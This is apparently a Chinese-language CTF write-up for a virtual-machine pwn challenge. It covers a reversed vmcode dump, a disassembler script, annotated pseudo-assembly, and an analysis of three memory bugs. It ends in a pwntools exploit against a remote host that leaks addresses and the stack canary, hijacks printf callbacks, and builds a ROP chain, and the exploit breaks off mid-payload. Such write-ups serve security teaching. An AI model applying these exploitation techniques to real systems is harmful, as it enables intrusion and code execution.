[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%k', 1), (114, '%r', 0), (115, '%S', 0), (116, '%k', 1), (117, '%U', 0), (118, '%r', 0), (119, '%S', 0), (120, '%a', 0), (121, '%Y', 2), (122, '%U', 63), (123, '%k', 2), (124, '%r', 0), (125, '%S', 0), (126, '%k', 2), (127, '%U', 0), (128, '%r', 0), (129, '%S', 0), (130, '%k', 2), (131, '%U', 4), (132, '%i', 0), (133, '%c', 0), (134, '%k', 1), (135, '%H', 0), (136, '%k', 2), (137, '%U', 4), (138, '%i', 0), (139, '%b', 0), (140, '%n', 0), (141, '%a', 0), (142, '%Y', 3), (143, '%a', 0), (144, '%Y', 4), (145, '%U', 62), (146, '%k', 4), (147, '%r', 0), (148, '%S', 0), (149, '%k', 4), (150, '%U', 0), (151, '%r', 0), (152, '%S', 0), (153, '%U', 0), (154, '%Y', 5), (155, '%k', 4), (156, '%k', 5), (157, '%r', 0), (158, '%S', 177), (159, '%g', 60), (160, '%k', 3), (161, '%G', 0), (162, '%k', 5), (163, '%#X', 0), (164, '%k', 5), (165, '%#V', 0), (166, '%U', 255), (167, '%M', 0), (168, '%S', 0), (169, '%k', 5), (170, '%#V', 0), (171, '%y', 0), (172, '%k', 5), (173, '%U', 1), (174, '%A', 0), (175, '%Y', 5), (176, '%N', 155), (177, '%n', 0), (178, '%a', 0), (179, '%Y', 1), (180, '%U', 255), (181, '%k', 1), (182, '%r', 0), (183, '%S', 0), (184, '%k', 1), (185, '%U', 0), (186, '%r', 0), (187, '%S', 0), (188, '%a', 0), (189, '%Y', 2), (190, '%U', 63), (191, '%k', 2), (192, '%r', 0), (193, '%S', 0), (194, '%k', 2), (195, '%U', 0), (196, '%r', 0), (197, '%S', 0), (198, '%k', 2), (199, '%U', 4), (200, '%i', 0), (201, '%c', 0), (202, '%k', 1), (203, '%F', 0), (204, '%k', 2), (205, '%U', 4), (206, '%i', 0), (207, '%b', 0), (208, '%n', 0), (209, '%a', 0), (210, '%Y', 3), (211, '%a', 0), (212, '%Y', 4), (213, '%U', 63), (214, '%k', 4), (215, '%r', 0), (216, '%S', 0), (217, '%k', 4), (218, '%U', 0), (219, '%r', 0), (220, '%S', 0), (221, '%U', 0), (222, '%Y', 5), (223, '%k', 4), (224, '%k', 5), (225, '%r', 0), (226, '%S', 245), (227, '%g', 60), (228, '%k', 3), (229, '%E', 0), (230, '%k', 5), (231, '%#X', 0), (232, '%k', 5), (233, '%#V', 0), (234, '%U', 255), (235, '%M', 0), (236, '%S', 0), (237, '%k', 5), (238, '%#V', 0), (239, '%y', 0), (240, '%k', 5), (241, '%U', 1), (242, '%A', 0), (243, '%Y', 5), (244, '%N', 223), (245, '%n', 0), (246, '%x', 0), (247, '%x', 0), (248, '%x', 0), (249, '%x', 0)]虚拟机相关数据结构恢复:
00000000 struct __attribute__((packed)) __attribute__((aligned(4))) vm // sizeof=0x7654
00000000 {
00000000 struct code *code_page;
00000008 __int32 code_size;
0000000C __int32 field_C;
00000010 __int32 *regs;
00000018 __int32 reg_nums;
0000001C __int32 field_1C;
00000020 signed int stack[1000];
00000FC0 __int64 padding[31];
000010B8 __int32 pad1;
000010BC __int32 pad2;
000010C0 __int32 pad3;
000010C4 struct mem_chunk mem_chunks[100];
00007654 };
00000000 struct mem_chunk // sizeof=0x104
00000000 { // XREF: vm/r vm/r
00000000 char data[252];
000000FC __int32 field1;
00000100 __int32 retaddr;
00000104 };
00000000 struct code // sizeof=0xC
00000000 { // XREF: vm/r
00000000 char fmtchar[8];
00000008 __int32 arg;
0000000C };逆向每个 handler 的作用然后编写脚本恢复出 vmcode 序列对应的伪 ASM:
import os, sys
STACK_ARG1 = "STACK[SP]"
STACK_ARG2 = "STACK[SP-1]"
OPRAND_ARG = "OPRAND"
asm_map = {
"%A": ("vm_add", 2, STACK_ARG1, STACK_ARG2),
"%C": ("vm_and", 2, STACK_ARG1, STACK_ARG2),
"%D": ("vm_mem_data_and", 1, STACK_ARG1),
"%E": ("vm_or", 2, STACK_ARG1, STACK_ARG2),
"%F": ("vm_mem_data_or", 1, STACK_ARG1),
"%G": ("vm_xor", 2, STACK_ARG1, STACK_ARG2),
"%H": ("vm_mem_data_xor", 1, STACK_ARG1),
"%i": ("vm_mul", 2, STACK_ARG1, STACK_ARG2),
"%J": ("vm_shl", 2, STACK_ARG1, STACK_ARG2),
"%K": ("vm_shr", 2, STACK_ARG1, STACK_ARG2),
"%r": ("vm_greater_than", 2, STACK_ARG1, STACK_ARG2),
"%M": ("vm_eq", 2, STACK_ARG1, STACK_ARG2),
"%N": ("vm_jmp_addr", 1, OPRAND_ARG),
"%S": ("vm_jmp_not_zero", 2, STACK_ARG1, OPRAND_ARG),
"%T": ("vm_jmp_zero", 2, STACK_ARG1, OPRAND_ARG),
"%U": ("vm_push_int", 1, OPRAND_ARG),
"%#V": ("vm_load_mem_to_stack", 1, STACK_ARG1),
"%k": ("vm_push_reg", 1, OPRAND_ARG),
"%#X": ("vm_store_stack_to_mem", 2, STACK_ARG1, STACK_ARG2),
"%Y": ("vm_pop_reg", 1, OPRAND_ARG),
"%y": ("vm_pop_stdout", 0),
"%a": ("vm_push_stdin", 0),
"%b": ("vm_show_mem_chunk", 1, STACK_ARG1),
"%c": ("vm_read_mem_chunk", 1, STACK_ARG1),
"%f": ("vm_pop_null", 0),
"%g": ("vm_call", 1, OPRAND_ARG),
"%n": ("vm_ret", 0),
"%x": ("vm_exit", 0),
}
def dump_asm():
code = []
entry = 71
arg_trans = lambda x: x if x != OPRAND_ARG else "OPRAND"
with open('code.txt', 'r') as f:
code = eval(f.read())
be_jmped = []
tagged = []
for c in code:
line_num = c[0]
opcode = c[1]
oprand = c[2]
asm_fmt = asm_map.get(opcode)
if asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call"]:
be_jmped.append(oprand)
for c in code:
line_num = c[0]
opcode = c[1]
oprand = c[2]
asm_fmt = asm_map.get(opcode)
if not asm_fmt:
print(f"Error: Unknown ASM code: {c[0]}")
continue
arg_trans = lambda x: x if x != OPRAND_ARG else oprand
arg_num = asm_fmt[1]
if line_num == entry:
print("ENTRY:")
if (line_num not in tagged) and (line_num in be_jmped):
print(f"\nBLOCK_{line_num}:")
tagged.append(line_num)
if arg_num == 0:
print(f"{line_num}:\t {asm_fmt[0]}()")
elif arg_num == 1:
print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])})")
elif arg_num == 2:
print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])})")
elif arg_num == 3:
print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])}, {arg_trans(asm_fmt[4])})")
if (line_num not in tagged) and (asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call", "vm_ret"]):
print(f"\nBLOCK_{line_num+1}:")
tagged.append(line_num+1)
if __name__ == "__main__":
dump_asm()逆向恢复出来的伪 ASM 并为菜单和几个主要的子函数添加了手动注释:
BLOCK_0:
0: vm_exit()
; ======================================
; OPTION 1
;
; READ data to mem chunk
; AND mem chunk bytes and output
; ======================================
BLOCK_1:
1: vm_push_stdin()
2: vm_pop_reg(1)
3: vm_push_int(255)
4: vm_push_reg(1)
5: vm_greater_than(STACK[SP], STACK[SP-1])
6: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_7:
7: vm_push_reg(1)
8: vm_push_int(0)
9: vm_greater_than(STACK[SP], STACK[SP-1])
10: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_11:
11: vm_push_stdin()
12: vm_pop_reg(2)
13: vm_push_int(63)
14: vm_push_reg(2)
15: vm_greater_than(STACK[SP], STACK[SP-1])
16: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_17:
17: vm_push_reg(2)
18: vm_push_int(0)
19: vm_greater_than(STACK[SP], STACK[SP-1])
20: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_21:
21: vm_push_reg(2)
22: vm_push_int(4)
23: vm_mul(STACK[SP], STACK[SP-1])
24: vm_read_mem_chunk(STACK[SP])
25: vm_push_reg(1)
26: vm_mem_data_and(STACK[SP])
27: vm_push_reg(2)
28: vm_push_int(4)
29: vm_mul(STACK[SP], STACK[SP-1])
30: vm_show_mem_chunk(STACK[SP])
31: vm_ret()
; ======================================
; END OPTION
; ======================================
; ======================================
; OPTION 2
;
; READ data to mem chunk
; AND mem chunk ints and output
; ======================================
BLOCK_32:
32: vm_push_stdin()
33: vm_pop_reg(3)
34: vm_push_stdin()
35: vm_pop_reg(4)
36: vm_push_int(63)
37: vm_push_reg(4)
38: vm_greater_than(STACK[SP], STACK[SP-1])
39: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_40:
40: vm_push_reg(4)
41: vm_push_int(0)
42: vm_greater_than(STACK[SP], STACK[SP-1])
43: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_44:
44: vm_push_int(0)
45: vm_pop_reg(5)
BLOCK_46:
46: vm_push_reg(4)
47: vm_push_reg(5)
48: vm_greater_than(STACK[SP], STACK[SP-1])
49: vm_jmp_not_zero(STACK[SP], 59)
BLOCK_50:
50: vm_call(60)
51: vm_push_reg(3)
52: vm_and(STACK[SP], STACK[SP-1])
53: vm_pop_stdout()
54: vm_push_reg(5)
55: vm_push_int(1)
56: vm_add(STACK[SP], STACK[SP-1])
57: vm_pop_reg(5)
58: vm_jmp_addr(46)
BLOCK_59:
59: vm_ret()
; ======================================
; END OPTION
; ======================================
BLOCK_60:
60: vm_push_stdin()
61: vm_push_reg(5)
62: vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
63: vm_push_reg(5)
64: vm_load_mem_to_stack(STACK[SP])
65: vm_push_int(255)
66: vm_eq(STACK[SP], STACK[SP-1])
67: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_68:
68: vm_push_reg(5)
69: vm_load_mem_to_stack(STACK[SP])
70: vm_ret()
; ======================================
; MENU
;
; choice 1~6:
; 1 => 1
; 2 => 32
; 3 => 110
; 4 => 141
; 5 => 178
; 6 => 209
; ======================================
BLOCK_71:
ENTRY:
71: vm_push_stdin()
72: vm_pop_reg(0)
73: vm_push_int(1)
74: vm_push_reg(0)
75: vm_eq(STACK[SP], STACK[SP-1])
76: vm_jmp_zero(STACK[SP], 79)
BLOCK_77:
77: vm_call(1)
78: vm_jmp_addr(71)
BLOCK_79:
79: vm_push_int(2)
80: vm_push_reg(0)
81: vm_eq(STACK[SP], STACK[SP-1])
82: vm_jmp_zero(STACK[SP], 85)
BLOCK_83:
83: vm_call(32)
84: vm_jmp_addr(71)
BLOCK_85:
85: vm_push_int(3)
86: vm_push_reg(0)
87: vm_eq(STACK[SP], STACK[SP-1])
88: vm_jmp_zero(STACK[SP], 91)
BLOCK_89:
89: vm_call(110)
90: vm_jmp_addr(71)
BLOCK_91:
91: vm_push_int(4)
92: vm_push_reg(0)
93: vm_eq(STACK[SP], STACK[SP-1])
94: vm_jmp_zero(STACK[SP], 97)
BLOCK_95:
95: vm_call(141)
96: vm_jmp_addr(71)
BLOCK_97:
97: vm_push_int(5)
98: vm_push_reg(0)
99: vm_eq(STACK[SP], STACK[SP-1])
100: vm_jmp_zero(STACK[SP], 103)
BLOCK_101:
101: vm_call(178)
102: vm_jmp_addr(71)
BLOCK_103:
103: vm_push_int(6)
104: vm_push_reg(0)
105: vm_eq(STACK[SP], STACK[SP-1])
106: vm_jmp_zero(STACK[SP], 109)
BLOCK_107:
107: vm_call(209)
108: vm_jmp_addr(71)
BLOCK_109:
109: vm_exit()
; ======================================
; END MENU
; ======================================
; ======================================
; OPTION 3
;
; READ data to mem chunk
; XOR mem chunk bytes and output
; ======================================
BLOCK_110:
110: vm_push_stdin()
111: vm_pop_reg(1)
112: vm_push_int(255)
113: vm_push_reg(1)
114: vm_greater_than(STACK[SP], STACK[SP-1])
115: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_116:
116: vm_push_reg(1)
117: vm_push_int(0)
118: vm_greater_than(STACK[SP], STACK[SP-1])
119: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_120:
120: vm_push_stdin()
121: vm_pop_reg(2)
122: vm_push_int(63)
123: vm_push_reg(2)
124: vm_greater_than(STACK[SP], STACK[SP-1])
125: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_126:
126: vm_push_reg(2)
127: vm_push_int(0)
128: vm_greater_than(STACK[SP], STACK[SP-1])
129: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_130:
130: vm_push_reg(2)
131: vm_push_int(4)
132: vm_mul(STACK[SP], STACK[SP-1])
133: vm_read_mem_chunk(STACK[SP])
134: vm_push_reg(1)
135: vm_mem_data_xor(STACK[SP])
136: vm_push_reg(2)
137: vm_push_int(4)
138: vm_mul(STACK[SP], STACK[SP-1])
139: vm_show_mem_chunk(STACK[SP])
140: vm_ret()
; ======================================
; END OPTION
; ======================================
; ======================================
; OPTION 4
;
; READ data to mem chunk
; XOR mem chunk ints and output
; ======================================
BLOCK_141:
141: vm_push_stdin()
142: vm_pop_reg(3)
143: vm_push_stdin()
144: vm_pop_reg(4)
145: vm_push_int(62)
146: vm_push_reg(4)
147: vm_greater_than(STACK[SP], STACK[SP-1])
148: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_149:
149: vm_push_reg(4)
150: vm_push_int(0)
151: vm_greater_than(STACK[SP], STACK[SP-1])
152: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_153:
153: vm_push_int(0)
154: vm_pop_reg(5)
BLOCK_155:
155: vm_push_reg(4)
156: vm_push_reg(5)
157: vm_greater_than(STACK[SP], STACK[SP-1])
158: vm_jmp_not_zero(STACK[SP], 177)
BLOCK_159:
159: vm_call(60)
160: vm_push_reg(3)
161: vm_xor(STACK[SP], STACK[SP-1])
162: vm_push_reg(5)
163: vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
164: vm_push_reg(5)
165: vm_load_mem_to_stack(STACK[SP])
166: vm_push_int(255)
167: vm_eq(STACK[SP], STACK[SP-1])
168: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_169:
169: vm_push_reg(5)
170: vm_load_mem_to_stack(STACK[SP])
171: vm_pop_stdout()
172: vm_push_reg(5)
173: vm_push_int(1)
174: vm_add(STACK[SP], STACK[SP-1])
175: vm_pop_reg(5)
176: vm_jmp_addr(155)
BLOCK_177:
177: vm_ret()
; ======================================
; END OPTION
; ======================================
; ======================================
; OPTION 5
;
; READ data to mem chunk
; OR mem chunk bytes and output
; ======================================
BLOCK_178:
178: vm_push_stdin()
179: vm_pop_reg(1)
180: vm_push_int(255)
181: vm_push_reg(1)
182: vm_greater_than(STACK[SP], STACK[SP-1])
183: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_184:
184: vm_push_reg(1)
185: vm_push_int(0)
186: vm_greater_than(STACK[SP], STACK[SP-1])
187: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_188:
188: vm_push_stdin()
189: vm_pop_reg(2)
190: vm_push_int(63)
191: vm_push_reg(2)
192: vm_greater_than(STACK[SP], STACK[SP-1])
193: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_194:
194: vm_push_reg(2)
195: vm_push_int(0)
196: vm_greater_than(STACK[SP], STACK[SP-1])
197: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_198:
198: vm_push_reg(2)
199: vm_push_int(4)
200: vm_mul(STACK[SP], STACK[SP-1])
201: vm_read_mem_chunk(STACK[SP])
202: vm_push_reg(1)
203: vm_mem_data_or(STACK[SP])
204: vm_push_reg(2)
205: vm_push_int(4)
206: vm_mul(STACK[SP], STACK[SP-1])
207: vm_show_mem_chunk(STACK[SP])
208: vm_ret()
; ======================================
; END OPTION
; ======================================
; ======================================
; OPTION 6
;
; READ data to mem chunk
; OR mem chunk ints and output
; ======================================
BLOCK_209:
209: vm_push_stdin()
210: vm_pop_reg(3)
211: vm_push_stdin()
212: vm_pop_reg(4)
213: vm_push_int(63)
214: vm_push_reg(4)
215: vm_greater_than(STACK[SP], STACK[SP-1])
216: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_217:
217: vm_push_reg(4)
218: vm_push_int(0)
219: vm_greater_than(STACK[SP], STACK[SP-1])
220: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_221:
221: vm_push_int(0)
222: vm_pop_reg(5)
BLOCK_223:
223: vm_push_reg(4)
224: vm_push_reg(5)
225: vm_greater_than(STACK[SP], STACK[SP-1])
226: vm_jmp_not_zero(STACK[SP], 245)
BLOCK_227:
227: vm_call(60)
228: vm_push_reg(3)
229: vm_or(STACK[SP], STACK[SP-1])
230: vm_push_reg(5)
231: vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
232: vm_push_reg(5)
233: vm_load_mem_to_stack(STACK[SP])
234: vm_push_int(255)
235: vm_eq(STACK[SP], STACK[SP-1])
236: vm_jmp_not_zero(STACK[SP], 0)
BLOCK_237:
237: vm_push_reg(5)
238: vm_load_mem_to_stack(STACK[SP])
239: vm_pop_stdout()
240: vm_push_reg(5)
241: vm_push_int(1)
242: vm_add(STACK[SP], STACK[SP-1])
243: vm_pop_reg(5)
244: vm_jmp_addr(223)
BLOCK_245:
245: vm_ret()
; ======================================
; END OPTION
; ======================================
BLOCK_246:
246: vm_exit()
247: vm_exit()
248: vm_exit()
249: vm_exit()漏洞点有两个,一个是 option6 存在一个 mem_chunk 下标溢出,可以在逐 int 写的时候溢出一个 int,但是覆盖不到保存返回地址的位置。此时需要结合 mem_data_xor 中的另一个漏洞,该函数只要没读到 \x00 就会继续往后进行 XOR,可以实现修改一个字节的 VM 返回地址。
__int64 __fastcall sub_1910(FILE *stream, const struct printf_info *info, const void *const *args)
{
__int64 v3; // rax
char v4; // cl
char *v5; // rdx
char i; // al
v3 = vm_sp--;
v4 = vm->stack[v3];
v5 = vm->mem_chunks[mem_idx].data;
for ( i = *v5; *v5; i = *v5 )
*v5++ = v4 ^ i;
return 0LL;
}但是一个字节返回地址劫持的能力太弱了...需要扩大利用优势,于是我们选择使用 50 行中的 vm_call(60)开始作为 gadget,劫持到这里的时候再次发生了函数调用,保存了返回地址到 mem_chunk 里,并且该函数会读取一个 int 值写入 curr_mem_chunk[reg5] 中,此时 reg5 的值正好是 64(完成了一次遍历++),也正好是返回地址所在的下标,因此我们就实现了劫持 4 字节返回地址的能力。返回地址以 0xc 大小的 code 结构体为单位,计算好偏移可以跳转到 mem_chunk 中的可控区域执行我们提前布置好的 vmcode,将攻击转换为任意 vmcode 执行下的 RCE。
然后进行地址泄露:
其次使用两次 b"%a%#V%yXXXX\x00 泄露 mem_chunk_base + offset上的值的高低 4 字节,获得 heap 地址;
%#V 和%#X中存在第三个漏洞,使用 # 和不使用 # 会进入两条不同的分支来获取读写偏移,在使用 # 时并没有检查 offset 是否在合理范围内,造成了越界;此时一个 mem_chunk 的空间已经差不多被用完,通过 vm_jmp(71) 也就是跳转到 ENTRY 的位置重新开启一次 VM 程序并使用同样的操作可以进行第二次任意 vmcode 执行;
这一次我们使用两次 b"%a%a%#XDDDD\x00" 劫持 init_func_register_printf 注册到堆内存上的各种回调函数的地址,这些函数第一个参数是 FILE *stream 类型,但是实际上来源于更高地址上的栈内存,当使用对应的格式化字符时就会跳转到我们想要的函数。于是劫持回调函数为 gets,控制好 gets 读入的内容避免执行流提前 crash 或者触发 canary 错误 (比如填充字节全用大写 A 时会提前 crash 但是用小写 a 就能过,神奇),最终可以实现栈上的 ROP。

即使计算了远程 libc,本地和远程的堆布局依然有细微差异,通过分析远程堆应该是没有 vm 对象前的一个 free_chunk,所以导致劫持回调时的偏移不对,减去这个 chunk 大小就可以打通远程。
最终 EXP 如下:
from pwn import *
from LibcSearcher import *
import time
context.log_level = 'debug'
#p = process("./prpr", env={"LD_PRELOAD":"./libc2404.so"})
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc2404.so')
p = remote("123.56.219.14", 32790)
def option1(and_value, size, data:bytes):
'''
read mem => bytes and => show mem
'''
p.sendline(b'1')
p.sendline(str(and_value).encode())
p.sendline(str(size).encode())
p.sendline(data)
def option2(and_value, size, data:list[int]):
'''
read ints => ints and => show ints
'''
p.sendline(b'2') # option
p.sendline(str(and_value).encode())
p.sendline(str(size).encode())
for i in data:
p.sendline(str(i).encode())
def option3(xor_value, size, data:bytes):
'''
read mem => bytes xor => show mem
'''
p.sendline(b'3')
p.sendline(str(xor_value).encode())
p.sendline(str(size).encode())
p.sendline(data)
def option4(xor_value, size, data:list[int]):
'''
read ints => ints xor => show ints
'''
p.sendline(b'4') # option
p.sendline(str(xor_value).encode())
p.sendline(str(size).encode())
for i in data:
p.sendline(str(i).encode())
p.recv()
def option5(or_value, size, data:bytes):
'''
read mem => bytes or => show mem
'''
p.sendline(b'5')
p.sendline(str(or_value).encode())
p.sendline(str(size).encode())
p.sendline(data)
def option6(or_value, size, data:list[int]):
'''
read ints => ints or => show ints
'''
p.sendline(b'6') # option
p.sendline(str(or_value).encode())
p.sendline(str(size).encode())
for i in data:
p.sendline(str(i).encode())
def make_vm_code(fmtstr:bytes, arg:int):
assert len(fmtstr) <= 8
fmtstr = fmtstr.ljust(8, b"\x00")
arg = arg & 0xffffffff
return fmtstr + p32(arg)
def exp():
#gdb.attach(p, "b *0x555555554000+0x2688\nc\n")
#gdb.attach(p, "b *0x555555554000+0x1996\nc\n")
#gdb.attach(p, "b *0x555555554000+0x1E00\nc\n")
p.recv()
option6(0x1, 63, [0xdeadbeef]*64)
fake_vm_code = b"A"*8
fake_vm_code += b"FUCK" + b"%p|"*16 + b"\x00"
fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
fake_vm_code += b"HEAP\x00\x00\x00\x00\x00\x00\x00\x00"
fake_vm_code += b"%a%#V%yXXXX\x00"
fake_vm_code += b"%a%#V%yXXXX\x00"
fake_vm_code += b"%a%#V%yXXXX\x00"
fake_vm_code += b"%a%#V%yXXXX\x00"
fake_vm_code += make_vm_code(b"%N", 71)
fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
p.sendline(b"-2171") # (-(0x65cc-8)) // 4
p.recvuntil(b"FUCK")
p.recvuntil(b"FUCK")
p.recvuntil(b"|")
p.recvuntil(b"|")
p.recvuntil(b"|")
p.recvuntil(b"|")
stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
log.info(f"stack_leak: {hex(stack_leak)}")
canary_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
log.info(f"canary_leak: {hex(canary_leak)}")
p.recvuntil(b"|")
elf_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
log.info(f"elf_leak: {hex(elf_leak)}")
elf_base = elf_leak-0x1fb0
log.info(f"elf_base: {hex(elf_base)}")
# ====================================================
#gdb.attach(p, "b *0x555555554000+0x2397\nc\n")
p.sendline(b"-1008")
p.sendline(b"-1007")
p.recvuntil(b"HEAP")
heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
p.recvuntil(b"XXXX")
heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
heap_leak = (heap_leak_high << 32) + heap_leak_low
heap_base = heap_leak - 0x8d50
curr_mem_chunk_base = heap_base + 0x2680
log.info(f"heap_leak: {hex(heap_leak)}")
log.info(f"heap_base: {hex(heap_base)}")
log.info(f"curr_mem_chunk_base: {hex(curr_mem_chunk_base)}")
puts_got = elf_base + 0x5F58
p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4}".encode())
p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4-1}".encode())
p.recvuntil(b"XXXX")
tmp_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
p.recvuntil(b"XXXX")
tmp_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
libc_puts = (tmp_leak_high << 32) + tmp_leak_low
log.info(f"libc_puts: {hex(libc_puts)}")
libc_base = libc_puts - 0x87bd0
log.info(f"libc_base: {hex(libc_base)}")
#pause()
# ====================================================
# NEW ROUND
# ====================================================
option6(0x1, 63, [0xdeadbeef]*64)
# 0xca8
fake_vm_code = b"A"*8
fake_vm_code += b"FUCK" + b"\x00"
fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
fake_vm_code += b"%a%a%#XDDDD\x00"
fake_vm_code += b"%a%a%#XDDDD\x00"
#fake_vm_code += b"%a%#V%yXXXX\x00"
#fake_vm_code += b"%a%#V%yXXXX\x00"
fake_vm_code += b"%APPPPPPPPP\x00"
fake_vm_code += b"QWERQWERQWE\x00"
fake_vm_code += make_vm_code(b"%Q", 0)
fake_vm_code += make_vm_code(b"%a", 0)
fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
#gdb.attach(p, "b *0x555555554000+0x201E\nc\n")
option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
p.sendline(b"-2171") # (-(0x65cc-8)) // 4
# ===========================================================
p.recvuntil(b"FUCK")
p.recvuntil(b"FUCK")
#p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4}".encode())
#p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4-1}".encode())
libc_gets = libc_base + libc.symbols[b"gets"]
p.sendline(f"{libc_gets & 0xffffffff}".encode())
p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4}".encode())
p.sendline(f"{libc_gets >> 32}".encode())
p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4-1}".encode())
libc_mprotect = libc_base + libc.symbols[b"mprotect"]
libc_open = libc_base + libc.symbols[b"open"]
libc_read = libc_base + libc.symbols[b"read"]
libc_write = libc_base + libc.symbols[b"write"]
libc_syscall = libc_base + libc.symbols[b"syscall"]
pop_rdi_ret = libc_base + 0x10f75b
pop_rsi_ret = libc_base + 0x2b46b # pop rsi ; pop rbp ; ret
pop_rdx_ret = libc_base + 0xb502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pop_rax_ret = libc_base + 0xdd237
syscall = libc_base + 0x288b5
payload = b"a"*0xc8 + p64(canary_leak)
payload = payload.ljust(0xe8, b"a") + p64(canary_leak)
payload = payload.ljust(0x128, b"a")
payload += p64(pop_rdi_ret) + p64(elf_base)
payload += p64(pop_rsi_ret) + p64(0x3000) + p64(0xdeadbeef)
payload += p64(pop_rdx_ret) + p64(7) + p64(0xdeadbeef)*4
payload += p64(libc_mprotect)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
payload += p64(libc_read)
payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
payload += p64(pop_rdx_ret) + p64(0) + p64(0xdeadbeef)*4
payload += p64(libc_syscall)
payload += p64(pop_rdi_ret) + p64(3)
